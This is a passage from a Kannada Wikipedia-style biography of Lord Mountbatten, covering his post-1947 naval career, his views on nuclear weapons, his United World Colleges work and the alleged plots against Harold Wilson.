ತಪ್ಪಿಹೋಗುವುದಕ್ಕೆ ಕಾರಣನೆಂಬ ಹೊಣೆಗಾರಿಕೆಯಿಂದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನು ತಪ್ಪಿಸಿಕೊಳ್ಳಲು ಸಾಧ್ಯವಿಲ್ಲ ಎಂದು ಪಟ್ಟುಹಿಡಿಯುತ್ತಾರೆ. ೧೯೫೦ರ ದಶಕದ ಅವಧಿಯಲ್ಲಿನ ಭಾರತದ ಸರ್ಕಾರಗಳಿಗೆ ಸಲಹಾಕಾರರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ ಜಾನ್‌ ಕೆನೆತ್‌‌ ಗಲ್‌ಬ್ರೈತ್‌ ಎಂಬ ಓರ್ವ ಹಾರ್ವರ್ಡ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಕೆನಡಿಯನ್‌ ಅಮೇರಿಕನ್‌ ಅರ್ಥಶಾಸ್ತ್ರಜ್ಞರು ನೆಹರೂರ ಸಮೀಪವರ್ತಿಗಳಾಗಿ ಮಾರ್ಪಟ್ಟರು ಹಾಗೂ ೧೯೬೧–೬೩ರ ಅವಧಿಯಲ್ಲಿ ಅಮೇರಿಕದ ರಾಯಭಾರಿಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದರು, ಇವರು ಈ ವಿಚಾರಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ನಿರ್ದಿಷ್ಟವಾಗಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಬಗ್ಗೆ ಕಟುವಾದ ಟೀಕೆಗಳನ್ನು ಮಾಡಿದ್ದರು. ಪಂಜಾಬ್‌ನ ವಿಭಜನೆಯಿಂದುಂಟಾದ ಭೀಕರ ಅನಾಹುತಗಳನ್ನು ಕಾಲಿನ್ಸ್‌ ಮತ್ತು ಲಾ ಪಿಯೆರ್ರೆರ ''ಫ್ರೀಡಮ್‌ ಅಟ್‌ ಮಿಡ್‌ನೈಟ್‌'' ನಲ್ಲಿ ಘನಘೋರವಾಗಿ ವರ್ಣಿಸಲಾಗಿದ್ದು, ಇದಕ್ಕೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನೇ ಪ್ರಧಾನ ಮಾಹಿತಿದಾರನಾಗಿದ್ದನು, ಇದಕ್ಕೆ ಇತ್ತೀಚಿನ ಸೇರ್ಪಡಿಕೆಯೆಂದರೆ ಬಾಪ್ಸಿ ಸಿಧ್ವಾರ ಕಾದಂಬರಿ ''ಐಸ್‌ ಕ್ಯಾಂಡಿ ಮ್ಯಾನ್‌'' (ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌ನಲ್ಲಿ ಇದನ್ನು ''ಕ್ರ್ಯಾಕಿಂಗ್‌‌ ಇಂಡಿಯಾ'' ಎಂದು ಪ್ರಕಟಿಸಲಾಗಿದೆ), ಇದನ್ನು ''ಅರ್ಥ್‌'' ಎಂಬ ಚಲನಚಿತ್ರವನ್ನಾಗಿ ರೂಪಿಸಲಾಗಿದೆ. ೧೯೮೬ರಲ್ಲಿ ''[[Lord Mountbatten: The Last Viceroy]]'' ಎಂಬ ಶೀರ್ಷಿಕೆಯ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಕೊನೆಯ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಗಿ ಜೀವನಾವಧಿಯ ಬಹು-ಭಾಗಗಳ ನಾಟಕರೂಪವನ್ನು ITVಯು ಪ್ರಸಾರ ಮಾಡಿತು. ===ಭಾರತ ಹಾಗೂ ಪಾಕಿಸ್ತಾನಗಳು ರೂಪುಗೊಂಡ ನಂತರದ ವೃತ್ತಿಜೀವನ=== ಭಾರತವು ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆದುಕೊಂಡ ನಂತರ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ೧೯೪೮–೧೯೫೦ರ ಅವಧಿಯಲ್ಲಿ ಮೆಡಿಟರೇನಿಯನ್‌ ನೌಕಾಪಡೆಯಲ್ಲಿ ಪಹರೆನೌಕೆಯ ಸ್ಕ್ವಾಡ್ರನ್‌ನ ದಳಪತಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದರು. ನಂತರ ಆತ ನೌಕಾಧಿಪತ್ಯ ಕಚೇರಿಯಲ್ಲಿ ನಾಲ್ಕನೆಯ ದರ್ಜೆಯ ಸೀ ಲಾರ್ಡ್‌ ಅಧಿಕಾರಿಯಾಗಿ ೧೯೫೦–೫೨ರ ಅವಧಿಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ ನಂತರ ಮೂರು ವರ್ಷಗಳ ಕಾಲ ಮೆಡಿಟರೇನಿಯನ್‌ ಸಮುದ್ರ ಪ್ರದೇಶ ನೌಕಾಪಡೆಗೆ ಪ್ರಧಾನ ದಂಡನಾಯಕನಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಲು ಮೆಡಿಟರೇನಿಯನ್‌ ಸಮುದ್ರ ಪ್ರದೇಶಕ್ಕೆ ಮರಳಿದರು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ನೌಕಾಧಿಪತ್ಯ ಕಚೇರಿಯಲ್ಲಿ ಪ್ರಥಮ ದರ್ಜೆಯ ಸೀ ಲಾರ್ಡ್‌ ಅಧಿಕಾರಿಯಾಗಿ ೧೯೫೫–೫೯ರ ಅವಧಿಯಲ್ಲಿ ಅಂತಿಮ ನೇಮಕಾತಿಯನ್ನು ಪಡೆದಿದ್ದರು, ಸುಮಾರು ನಲವತ್ತು ವರ್ಷಗಳ ಹಿಂದೆ ಆತನ ತಂದೆ ಈ ಸ್ಥಾನವನ್ನು ವಹಿಸಿಕೊಂಡಿದ್ದರು. ಬ್ರಿಟಿಷ್‌ ನೌಕಾಪಡೆಯ ಇತಿಹಾಸದಲ್ಲಿಯೇ ಓರ್ವ ತಂದೆ ಮತ್ತು ಮಗ ಈರ್ವರೂ ಅಷ್ಟೊಂದು ಉತ್ತಮ ದರ್ಜೆಯ ಅಧಿಕಾರವನ್ನು ಪಡೆದಿದ್ದುದು ಅದೇ ಮೊದಲಾಗಿತ್ತು.<ref>ಪ್ಯಾಟನ್‌, ಅಲ್ಲಿಸನ್‌ , ''ಬ್ರಾಡ್‌ಲ್ಯಾಂಡ್ಸ್‌‌ : ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ಸ್‌ ಕಂಟ್ರಿ ಹೋಮ್‌'' ಇನ್‌ ಬ್ರಿಟಿಷ್‌‌ ಹೆರಿಟೇಜ್‌ , Vol. ೨೬, ಸಂಚಿಕೆ ೧,ಮಾರ್ಚ್‌ ೨೦೦೫, pp. ೧೪-೧೭. ಅಕಾಡೆಮಿಕ್‌ ಸರ್ಚ್‌ ಕಂಪ್ಲೀಟ್‌ ನಿಂದ ೧೩ ಮೇ ೨೦೦೯ರಂದು ವೀಕ್ಷಿಸಿದ್ದು.</ref> ತನ್ನ ಕೃತಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನ ಜೀವನಚರಿತ್ರೆಯಲ್ಲಿ, ಫಿಲಿಪ್‌ ಝೀಗ್ಲೆರ್‌‌ ಆತನ ಮಹಾತ್ವಾಕಾಂಕ್ಷೆಯ ಪ್ರವೃತ್ತಿಯ ಬಗ್ಗೆ ಹೀಗೆ ಬರೆಯುತ್ತಾರೆ: <blockquote> "ಆತನ ಸ್ವಪ್ರತಿಷ್ಠೆಯು, ಮಕ್ಕಳ ನಡತೆಯಂತಿದ್ದರೂ ಅಮಾನುಷವಾದುದಾಗಿದ್ದರೆ ಆತನ ಮಹಾತ್ವಾಕಾಂಕ್ಷೆಗೆ ಯಾವುದೇ ಕಡಿವಾಣವಿರಲಿಲ್ಲ. ಸತ್ಯವಾದ ವಿಚಾರವು ಆತನ ಕೈಗಳಲ್ಲಿ ಅದೇನು ಇತ್ತೋ ಅದರಿಂದ ತ್ವರಿತವಾಗಿ ಅದು ಏನಾಗಿರಬೇಕಿತ್ತೋ ಅದಾಗಿ ಬದಲಾಗಿಬಿಡುತ್ತಿತ್ತು. ಆತನು ತನ್ನದೇ ಸಾಧನೆಗಳನ್ನು ಉತ್ಪ್ರೇಕ್ಷಿಸಿಕೊಳ್ಳಲಾಗುವಂತೆ ವಾಸ್ತವ ವಿಚಾರಗಳನ್ನು ತೀರ ಅಲಕ್ಷ್ಯವಾಗಿ ಉಡಾಫೆಯಿಂದ ಬದಲಿಸಿ ಇತಿಹಾಸದ ದಾಖಲೆಗಳನ್ನು ತಿದ್ದಿ ಬರೆಸಲು ಪ್ರಯತ್ನಿಸಿದ್ದ. ಒಂದು ಸಮಯದಲ್ಲಿ ನನ್ನ ಭ್ರಮೆಗೀಡು ಮಾಡುವ ಆತನ ಉದ್ದೇಶವು ನನಗೆಷ್ಟು ಕೆರಳುವ ಭಾವನೆಯನ್ನು ಉಂಟು ಮಾಡಿತೆಂದರೆ ನನ್ನ ಮೇಜಿನ ಮೇಲೆ ಹೀಗೊಂದು ಟಿಪ್ಪಣಿಯನ್ನು ಬರೆದಿಟ್ಟುಕೊಳ್ಳುವುದು ಅನಿವಾರ್ಯವಾಯಿತು: REMEMBER, IN SPITE OF EVERYTHING, HE WAS A GREAT MAN."<ref>ಝೀಗ್ಲೆರ್‌‌, ಫಿಲಿಪ್‌ ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌'' ನ್ಯೂಯಾರ್ಕ್‌‌, ೧೯೮೫. pp ೧೭</ref></blockquote> ಪ್ರಥಮ ದರ್ಜೆಯ ಸೀ ಲಾರ್ಡ್‌ ಅಧಿಕಾರಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿರುವಾಗ, ಆತನ ಪ್ರಾಥಮಿಕ ಆದ್ಯತೆಗಳು ಅಕಸ್ಮಾತ್‌ ಬ್ರಿಟನ್‌‌‌ನ ಮೇಲೆ ಅಣುದಾಳಿಯಾದಲ್ಲಿ ಬ್ರಿಟಿಷ್‌ ನೌಕಾಪಡೆಯು ಹಡಗಿನ ಮಾರ್ಗಗಳನ್ನು ಹೇಗೆ ಅಪಾಯಕ್ಕೀಡಾಗದಂತೆ ತೆರೆದಿಟ್ಟುಕೊಳ್ಳಬಲ್ಲದು ಎಂಬುದನ್ನು ಯೋಜನೆಗಳನ್ನು ರೂಪಿಸುವುದಾಗಿತ್ತು. ಇಂದಿನ ದಿನಮಾನದಲ್ಲಿ, ಇದು ಹೆಚ್ಚಿನ ಮಹತ್ವದ್ದಲ್ಲವೆಂದೆನಿಸಬಹುದು ಆದರೆ ಆ ಸಮಯದಲ್ಲಿ ಕೇವಲ ಕೆಲವೇ ಜನರು ಮಾತ್ರವೇ ಅಣ್ವಸ್ತ್ರಗಳು ಹೊಂದಿರುವ ಅಪರಿಮಿತ ಶಕ್ತಿಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಅದರಿಂದಾಗಬಹುದಾದ ವಿನಾಶವನ್ನು ಹಾಗೂ ವಿಕಿರಣ ಧೂಳೀಪಾತದಿಂದಾಗಬಹುದಾದ ಅಪಾಯಗಳನ್ನು ಗ್ರಹಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿದ್ದರು. ಸೇನಾಪಡೆಯ ಅಧಿಕಾರಿಗಳು ಪರಮಾಣು ವಿಸ್ಫೋಟದಲ್ಲಿ ಒಳಗೊಳ್ಳುವ ಭೌತಶಾಸ್ತ್ರೀಯ ವಿವರಗಳನ್ನು ಅರ್ಥ ಮಾಡಿಕೊಳ್ಳುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರಲಿಲ್ಲ. ಬಿಕಿನಿ ಅಟಾಲ್‌‌ ಪರೀಕ್ಷೆಗಳಿಂದ ಮೂಡುವ ವಿದಳನ ಕ್ರಿಯೆಗಳು ಸಾಗರಗಳ ಮೂಲಕ ಹರಡಿ ಭೂಮಿಯನ್ನೇ ಸ್ಫೋಟಿಸುವ ಸಾಧ್ಯತೆ ಇಲ್ಲವೆಂದು ಪದೇ ಪದೇ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನಿಗೆ ವಿವರಿಸಬೇಕಾಗಿ ಬಂದ ಪರಿಸ್ಥಿತಿಯು ಇದನ್ನು ಸುಸ್ಪಷ್ಟಗೊಳಿಸುತ್ತದೆ.<ref>ಝೂಕರ್‌ಮ್ಯಾನ್, ೩೬೩.</ref> ಈ ನೂತನ ರೀತಿಯ ಶಸ್ತ್ರಾಸ್ತ್ರಗಳ ಬಗ್ಗೆ ಹೆಚ್ಚು ಹೆಚ್ಚು ತಿಳಿದುಕೊಳ್ಳುತ್ತಿದ್ದ ಹಾಗೆಯೇ ಜಲಾಂತರ್ಗಾಮಿಗಳಿಗೆ ಸಂಬಂಧಪಟ್ಟ ಹಾಗೆ ಅವುಗಳ ಸಾಮರ್ಥ್ಯವನ್ನು ಅರ್ಥ ಮಾಡಿಕೊಂಡರೂ ಹೋರಾಟಗಳಲ್ಲಿ ಅವುಗಳ ಬಳಕೆಯನ್ನು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಪ್ರತಿರೋಧಿಸುತ್ತಾ ಬಂದಿದ್ದರು. ಅಣ್ವಸ್ತ್ರಗಳ ಬಳಕೆಯ ಬಗೆಗೆ ತನ್ನ ಭಾವನೆಗಳನ್ನು "ಎ ಮಿಲಿಟರಿ ಕಮಾಂಡರ್‌ ಸರ್ವೇಸ್‌ ದ ನ್ಯೂಕ್ಲಿಯರ್‌ ಆರ್ಮ್ಸ್‌ ರೇಸ್‌ ,"ಎಂಬ ಲೇಖನದಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಹೀಗೆ ಮುಕ್ತವಾಗಿ ವ್ಯಕ್ತಪಡಿಸಿದ್ದರು ಇದನ್ನು ೧೯೭೯–೮೦ರ ಚಳಿಗಾಲದ ಅವಧಿಯಲ್ಲಿ ಆತನ ಸಾವಿನ ಕೆಲವೇ ಸಮಯದ ನಂತರ ''ಇಂಟರ್‌‌ನ್ಯಾಷನಲ್‌ ಸೆಕ್ಯೂರಿಟಿ ಪತ್ರಿಕೆ'' ಯಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿತ್ತು.<ref>ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, ಲೂಯಿಸ್‌ , "ಎ ಮಿಲಿಟರಿ ಕಮ್ಯಾಂಡರ್ ಸರ್ವೇಸ್‌ ದ ನ್ಯೂಕ್ಲಿಯರ್‌ ಆರ್ಮ್‌ಸ್‌ ರೇಸ್‌," ''ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ ಸೆಕ್ಯೂರಿಟಿ,'' Vol. ೪ No. ೩ ೧೯೭೯-೧೯೮೦ರ ಚಳಿಗಾಲಾವಧಿ, MIT ಪ್ರೆಸ್. pp. ೩-೫</ref> ನೌಕಾಧಿಪತ್ಯ ಕಚೇರಿಯನ್ನು ತೊರೆದ ನಂತರ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ರಕ್ಷಣಾ ದಳ ಸಿಬ್ಬಂದಿ ವರ್ಗದ ಮುಖ್ಯಾಧಿಕಾರಿಯ ಹುದ್ದೆಯನ್ನು ಅಲಂಕರಿಸಿದ್ದರು. ಈ ಹುದ್ದೆಯಲ್ಲಿ ಆರು ವರ್ಷಗಳ ಸೇವೆ ಸಲ್ಲಿಸಿದ ಇವರು ಆ ಅವಧಿಯಲ್ಲಿ ಸೇನಾಪಡೆಯ ಶಾಖೆಯ ಘಟಕದ ಮೂರು ಸೇವಾ ಘಟಕಗಳನ್ನು ಒಂದೇ ರಕ್ಷಣಾ ಇಲಾಖೆಯನ್ನಾಗಿ ಏಕೀಕರಿಸಲು ಯಶಸ್ವಿಯಾಗಿದ್ದರು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ವ್ಹೈಟ್‌ ದ್ವೀಪದ ಮಂಡಲಾಧಿಪತಿಯಾಗಿ ೧೯೬೯ರಿಂದ ೧೯೭೪ರವರೆಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರಲ್ಲದೇ ೧೯೭೪ರಲ್ಲಿ ವ್ಹೈಟ್‌ ದ್ವೀಪದ ಪ್ರಥಮ ದರ್ಜೆಯ ಲಾರ್ಡ್‌‌ ಲೆಫ್ಟಿನೆಂಟ್‌‌ ಆಗಿ ನೇಮಕಗೊಂಡಿದ್ದರು. ಆತನು ತನ್ನ ಸಾವಿನವರೆಗೆ ಇದೇ ಪದವಿಯಲ್ಲಿ ಇದ್ದರು. ೧೯೬೭ರಿಂದ ೧೯೭೮ರವರೆಗೆ, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಆಗ ಒಂದೇ ಮಂಡಲಿಯಿಂದ ಪ್ರತಿನಿಧಿಸಲ್ಪಡುತ್ತಿದ್ದ ಯುನೈಟೆಡ್‌ ವರ್ಲ್ಡ್‌ ಕಾಲೇಜಸ್‌ ಸಂಸ್ಥೆಯ ಅಧ್ಯಕ್ಷರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದರು : ಅದೆಂದರೆ ಸೌತ್‌ ವೇಲ್ಸ್‌‌ನ ಅಟ್ಲಾಂಟಿಕ್‌ ಕಾಲೇಜ್‌ ಮಂಡಲಿಯಾಗಿತ್ತು. ಯುನೈಟೆಡ್‌ ವರ್ಲ್ಡ್‌ ಕಾಲೇಜಸ್‌ ಮಂಡಲಿಯನ್ನು ಬೆಂಬಲಿಸಿದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ರಾಜ್ಯಾಧಿಪತಿಗಳು, ರಾಜಕಾರಣಿಗಳು ಹಾಗೂ ವಿಶ್ವದಾದ್ಯಂತದ ಪ್ರಮುಖ ನಾಯಕರುಗಳೊಂದಿಗೆ ತಮ್ಮ ಆಸಕ್ತಿಯನ್ನು ಹಂಚಿಕೊಳ್ಳಲು ಪ್ರೋತ್ಸಾಹಿಸಿದರು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಅಧಿಕಾರಾವಧಿಯಲ್ಲಿ ಹಾಗೂ ವೈಯಕ್ತಿಕ ಒಳಗೊಳ್ಳುವಿಕೆಗಳ ಮೂಲಕ ಆಗ್ನೇಯ ಏಷ್ಯಾದ ಯುನೈಟೆಡ್‌ ವರ್ಲ್ಡ್‌ ಕಾಲೇಜ್‌ಅನ್ನು [[ಸಿಂಗಾಪುರ್|ಸಿಂಗಪೂರ್‌‌]]ನಲ್ಲಿ ೧೯೭೧ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿತ್ತು ಅದಾದ ನಂತರ ಪೆಸಿಫಿಕ್‌ ಪ್ರದೇಶದ ಯುನೈಟೆಡ್‌ ವರ್ಲ್ಡ್‌ ಕಾಲೇಜ್‌ (ಪ್ರಸ್ತುತ ಲೆಸ್ಟರ್‌ B ಪಿಯರ್ಸನ್‌ ಯುನೈಟೆಡ್‌ ವರ್ಲ್ಡ್‌ ಕಾಲೇಜ್‌ ಆಫ್‌ ದಿ ಪೆಸಿಫಿಕ್‌ ಎಂದು ಕರೆಸಿಕೊಳ್ಳುತ್ತಿದೆ)ಅನ್ನು ಕೆನಡಾದ ವಿಕ್ಟೋರಿಯಾ ಎಂಬಲ್ಲಿ ೧೯೭೪ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ೧೯೭೮ರಲ್ಲಿ ಬರ್ಮಾದ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ತನ್ನ ಅಧ್ಯಕ್ಷತೆಯನ್ನು ಸೋದರ ಸಂಬಂಧಿ ಮೊಮ್ಮಗ HRH ವೇಲ್ಸ್‌‌ನ ರಾಜಕುಮಾರನಿಗೆ ವಹಿಸಿಕೊಟ್ಟರು.<ref>{{Cite web | url = http://www.uwc.org/about_history.html | title = History | publisher = UWC | access-date = 6 ಮೇ 2011 | archive-date = 23 ಆಗಸ್ಟ್ 2006 | archive-url = https://web.archive.org/web/20060823082533/http://www.uwc.org/about_history.html | url-status = dead }}</ref> ===ಹೆರಾಲ್ಡ್‌ ವಿಲ್ಸನ್‌‌ರ ವಿರುದ್ಧ ಆರೋಪಿತ ಒಳಸಂಚುಗಳು=== ಪೀಟರ್‌ ರೈಟ್‌ ಎಂಬಾತ ತನ್ನ ಕೃತಿ ಸ್ಪೈಕ್ಯಾಚರ್‌ನಲ್ಲಿ ೧೯೬೭ರಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಪತ್ರಿಕಾಲಯ ಬ್ಯಾರನ್‌ ಮತ್ತು MI೫ ಬೇಹುಗಾರ ಸೆಸಿಲ್‌ ಕಿಂಗ್‌‌ ಮತ್ತು ಸರ್ಕಾರದ ಪ್ರಧಾನ ವೈಜ್ಞಾನಿಕ ಸಲಹೆಗಾರ ಸೋಲ್ಲಿ ಝೂಕರ್‌ಮನ್‌‌ರವರುಗಳೊಂದಿಗೆ ಖಾಸಗಿ ಸಭೆಗೆ ಹಾಜರಾಗಿದ್ದರು. ಮಹಾರಾಜ ಮತ್ತು ಪೀಟರ್‌ ರೈಟ್‌ಗಳು ಬಿಕ್ಕಟ್ಟಿಗೆ ಸಿಲುಕಿದ್ದ ಹೆರಾಲ್ಡ್‌ ವಿಲ್ಸನ್‌‌ರ ಲೇಬರ್‌ ಪಕ್ಷದ ಸರ್ಕಾರದ ವಿರುದ್ಧ ಕ್ಷಿಪ್ರ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಕೈಗೊಳ್ಳಬೇಕೆಂದಿದ್ದ ಮೂವತ್ತು ಮಂದಿ MI೫ ಅಧಿಕಾರಿಗಳ ಗುಂಪಿನ ಸದಸ್ಯರಾಗಿದ್ದರು, ಹಾಗೂ ಹೇಳಿಕೆಗಳ ಪ್ರಕಾರ ಮಹಾರಾಜರು ಈ ಸಭೆಯನ್ನು ರಾಷ್ಟ್ರೀಯ ಸಂರಕ್ಷಕ ಸರ್ಕಾರದ ನಾಯಕರಾಗಲು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಮನವೊಲಿಸಲು ಬಳಸಿಕೊಂಡಿದ್ದರು. ಸೋಲ್ಲಿ ಝೂಕರ್‌ಮನ್‌‌ರು ಇದನ್ನು ದೇಶದ್ರೋಹವೆಂದು ಎತ್ತಿ ತೋರಿದರೂ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಕಾರ್ಯಪ್ರವೃತ್ತಗೊಳ್ಳುವ ಬಗ್ಗೆ ತೋರಿದ ಉಪೇಕ್ಷೆಯಿಂದಾಗಿ ಇದರ ಪ್ರಯೋಜನವೇನೂ ಆಗಲಿಲ್ಲ.<ref>{{Cite web| title = House of Commons, Hansard: 10 January 1996 Column 287. |url=http://www.publications.parliament.uk/pa/cm199596/cmhansrd/vo950110/debtext/60110-43.htm}}</ref> ೨೦೦೬ರ ''ದ ಪ್ಲಾಟ್‌ ಎಗೇನ್ಸ್‌ಟ್‌ ಹೆರಾಲ್ಡ್‌ ವಿಲ್ಸನ್‌‌'' ಎಂಬ BBCಯ ಸಾಕ್ಷ್ಯಚಿತ್ರವು ಕಛೇರಿಯಲ್ಲಿನ ತನ್ನ ಎರಡನೆಯ ಕಾರ್ಯಾವಧಿಯಲ್ಲಿದ್ದ (೧೯೭೪–೭೬) ವಿಲ್ಸನ್‌ರನ್ನು ಪದಚ್ಯುತಗೊಳಿಸುವ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಒಳಗೊಂಡಿರುವ ಮತ್ತೊಂದು ಒಳಸಂಚನ್ನು ಮಾಡಲಾಗಿತ್ತು ಎಂದು ಆರೋಪಿಸಿತ್ತು. ಈ ಅವಧಿಯಲ್ಲಿ ಭಾರೀ ಹಣದುಬ್ಬರ, ನಿರುದ್ಯೋಗದ ತೀವ್ರ ಏರಿಕೆ ಹಾಗೂ ವ್ಯಾಪಕ ಕೈಗಾರಿಕಾ ವಿಪ್ಲವಗಳು ತಾಂಡವವಾಡುತ್ತಿದ್ದವು. ಹೀಗೆ ಮಾಡಲಾಗಿದ್ದ ಒಳಸಂಚು [[ಸೊವಿಯೆಟ್ ಒಕ್ಕೂಟ|ಸೋವಿಯೆತ್‌ ಒಕ್ಕೂಟ]]ಹಾಗೂ ಕಾರ್ಮಿಕರ ಒಕ್ಕೂಟಗಳಿಂದ ತಮಗೆ ಇದೆ ಎಂದು ಭಾವಿಸಲಾಗಿದ್ದ ಅಪಾಯವನ್ನು ಎದುರಿಸಲು ಖಾಸಗಿ ಸೈನ್ಯಗಳನ್ನು ಕಟ್ಟಿಕೊಳ್ಳುತ್ತಿದ್ದ ಬಲಪಂಥೀಯ ಸೇನಾಪಡೆಯ ಮಾಜಿ ಅಧಿಕಾರಿಗಳ ಮೇಲೆ ಆಧರಿಸಿತ್ತು. ಅಂಗೀಕೃತವಾದ ಕಾರ್ಮಿಕ ಸಂಘಟನೆಗಳಿಂದ ಭಾಗಶಃ ಧನಸಹಾಯವನ್ನು ಪಡೆಯುತ್ತಿದ್ದ ಲೇಬರ್‌ ಪಕ್ಷವು ಈ ಬೆಳವಣಿಗೆಗಳನ್ನು ತಡೆಯಲು ಅಸಮರ್ಥವಾಗಿದೆ ಹಾಗೂ ಆಸಕ್ತಿರಹಿತವಾಗಿದೆ ಎಂದೂ ಹಾಗೂ ವಿಲ್ಸನ್‌ರು ಸೋವಿಯೆತ್‌ ಒಕ್ಕೂಟದ ಓರ್ವ ಗುಪ್ತಚರ ಅಥವಾ ಕನಿಷ್ಟಪಕ್ಷ ಕಮ್ಯುನಿಷ್ಟರ ಪರ ಸಹಾನುಭೂತಿ ಉಳ್ಳವರು ಎಂದು ಅವರುಗಳು ಭಾವಿಸಿದ್ದರು, ಈ ಎಲ್ಲಾ ಹೇಳಿಕೆಗಳನ್ನು ವಿಲ್ಸನ್‌ ಬಲವಾಗಿ ತಳ್ಳಿಹಾಕಿದ್ದರು. ಖಾಸಗಿ ಸೇನೆಗಳು ಹಾಗೂ MI೫ ಮತ್ತು ಸೇನಾಪಡೆಯಲ್ಲಿನ ತಮ್ಮ ಸಹಾನುಭೂತಿಯನ್ನು ಹೊಂದಿರುವವರನ್ನು ಬಳಸಿಕೊಂಡು ವಿಲ್ಸನ್‌ರನ್ನು ಸ್ಥಾನಭ್ರಷ್ಟಗೊಳಿಸಿ ಅವರ ಸ್ಥಾನದಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ನೇಮಿಸಲು ಕ್ಷಿಪ್ರ ಕಾರ್ಯಾಚರಣೆಯ ಒಳಸಂಚೊಂದನ್ನು ಮಾಡಲಾಗಿತ್ತು ಎಂದು ಈ ಸಾಕ್ಷ್ಯಚಿತ್ರವು ಆರೋಪಿಸಿತ್ತು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಹಾಗೂ ಬ್ರಿಟಿಷ್‌‌ ರಾಜಕುಟುಂಬದ ಇತರ ಸದಸ್ಯರು ಈ ಒಳಸಂಚಿಗೆ ಬೆಂಬಲ ನೀಡಿ ಅದರ ಯೋಜನೆಯಲ್ಲಿ ಭಾಗಿಯಾಗಿದ್ದರೆಂದು ಈ ಸಾಕ್ಷ್ಯಚಿತ್ರವು ಆರೋಪಿಸಿತ್ತು.<ref>{{Cite news| url=http://news.bbc.co.uk/1/hi/uk_politics/4789060.stm | work=BBC News | title=Wilson 'plot': The secret tapes | date=9 March 2006 | accessdate=11 May 2010}}</ref> ವಿಲ್ಸನ್‌ಗೆ ಸಾಕಷ್ಟು ಹಿಂದಿನಿಂದಲೇ ತನ್ನನ್ನು ಸ್ಥಾನಭ್ರಷ್ಟಗೊಳಿಸಲು MI೫ ಪ್ರಾಯೋಜಿತ ಯೋಜನೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತಿದೆ ಎಂಬ ಭಾವನೆಯಿತ್ತು. ಈ ಅನುಮಾನವು ೧೯೭೪ರಲ್ಲಿ ಸೇನಾಪಡೆಯು ಅಲ್ಲಿ ಸಂಭಾವ್ಯ IRA ದಾಳಿಯಿಂದ ರಕ್ಷಣೆಯನ್ನು ನೀಡುವ ತರಬೇತಿಯನ್ನು ಕೈಗೊಳ್ಳುವ ಕಾರಣವನ್ನು ನೀಡಿ ಹೀಥ್ರೂ ವಿಮಾನನಿಲ್ದಾಣವನ್ನು ವಶಪಡಿಸಿಕೊಂಡಾಗ ಮತ್ತಷ್ಟು ತೀವ್ರಗೊಂಡಿತು. ಮಾರ್ಷಿಯಾ ಫಾಲ್ಕೆಂಡರ್‌ ಎಂಬ ಓರ್ವ ಹಿರಿಯ ಸಹಾಯಕ ಹಾಗೂ ವಿಲ್ಸನ್‌ರ ಸಮೀಪವರ್ತಿ ಮಿತ್ರರು ಈ ಕಾರ್ಯಾಚರಣೆಯ ಬಗೆಗೆ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳಿಗೆ ಯಾವುದೇ ಮಾಹಿತಿ ಇರಲಿಲ್ಲ ಹಾಗೂ ಇದನ್ನು ಸೇನಾಪಡೆಯು ಅಧಿಕಾರ ವಶಪಡಿಕೆಯ ಪ್ರಾಯೋಗಿಕ 